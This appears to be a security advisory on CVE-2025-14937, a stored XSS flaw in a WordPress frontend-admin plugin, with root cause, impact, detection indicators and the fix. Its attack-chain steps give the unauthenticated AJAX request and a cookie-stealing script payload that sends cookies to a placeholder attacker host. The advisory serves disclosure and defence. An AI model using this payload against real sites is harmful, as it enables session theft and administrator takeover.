CVE-2025-14937: 
WordPress vulnerability analysis and mitigation

CVE-2025-14937 is a Stored Cross-Site Scripting (XSS) vulnerability in the Frontend Admin by DynamiApps plugin for WordPress. It affects all versions up to and including 3.28.23, allowing unauthenticated attackers to inject arbitrary web scripts via the acff parameter in the frontend_admin/forms/update_field AJAX action. The vulnerability was published on January 9, 2026, and was reported by Wordfence. It carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, NVD).

The root cause is insufficient input sanitization and output escaping of the acff parameter passed to the frontend_admin/forms/update_field AJAX action, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). Because the AJAX endpoint does not require authentication and fails to sanitize user-supplied input before storing and rendering it, an attacker can submit a crafted request containing malicious JavaScript that is persistently stored and later executed in the browsers of any user who visits the affected page. No privileges or user interaction are required on the attacker's side, making this a particularly low-barrier stored XSS (Wordfence, NVD).

Successful exploitation allows an unauthenticated attacker to persistently inject malicious scripts into WordPress pages, which execute in the context of any user's browser upon page access — including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement, or redirection to malicious sites. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the vulnerable component to affect end users' browsers (Wordfence).

No public exploit code or active in-the-wild exploitation has been confirmed as of the available data. The EPSS score is approximately 0.074%, indicating a low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. It has been detected by Qualys (detection ID 530815) and was included in Wordfence's weekly WordPress vulnerability report for January 5–11, 2026 (Wordfence Blog, Qualys).

1. Reconnaissance: Identify WordPress sites running the Frontend Admin by DynamiApps plugin (versions ≤ 3.28.23) using tools like WPScan, Shodan, or by inspecting plugin directories on target sites.
2. Craft malicious payload: Prepare a stored XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a payload to create a rogue admin account.
3. Submit unauthenticated AJAX request: Send an HTTP POST request to the target site's WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with action=frontend_admin/forms/update_field and the acff parameter set to the malicious payload — no authentication or nonce is required.
4. Payload stored: The server stores the unsanitized script in the database due to missing input sanitization.
5. Trigger execution: When any user (including an administrator) visits a page that renders the injected field value, the malicious script executes in their browser, enabling session hijacking, credential theft, or further site compromise (Wordfence).

• Network: Unexpected POST requests to /wp-admin/admin-ajax.php with action=frontend_admin%2Fforms%2Fupdate_field or action=frontend_admin/forms/update_field from unauthenticated (no session cookie) or unknown IP addresses; outbound connections from user browsers to unfamiliar external domains after visiting affected pages.
• Logs: WordPress access logs showing repeated unauthenticated POST requests to admin-ajax.php with the acff parameter containing HTML/script tags or encoded JavaScript; error logs showing unexpected output escaping failures.
• Database: Presence of <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., <script>) in field values stored by the Frontend Admin plugin in the WordPress database.
• File System: Unexpected new administrator accounts created in wp_users; new or modified plugin/theme files that could indicate post-exploitation persistence.

Users should update the Frontend Admin by DynamiApps plugin to version 3.28.24 or later, which addresses the insufficient sanitization and output escaping (WordPress Plugin Changeset). If an immediate update is not possible, consider disabling the plugin until patching is feasible, or implement a Web Application Firewall (WAF) rule to block malicious input to the frontend_admin/forms/update_field AJAX action. Wordfence users with the premium firewall had protection available from the disclosure date (Wordfence).

Wordfence, the reporting CNA, included CVE-2025-14937 in its weekly WordPress vulnerability digest for January 5–11, 2026, highlighting it as a notable unauthenticated stored XSS finding (Wordfence Blog). Qualys added detection coverage (ID 530815) and referenced it in their January 2026 application security detections roundup (Qualys). Community aggregators including RedPacket Security, VulDB, and CVEFeed.io picked up the disclosure shortly after publication, reflecting standard community tracking of WordPress plugin vulnerabilities.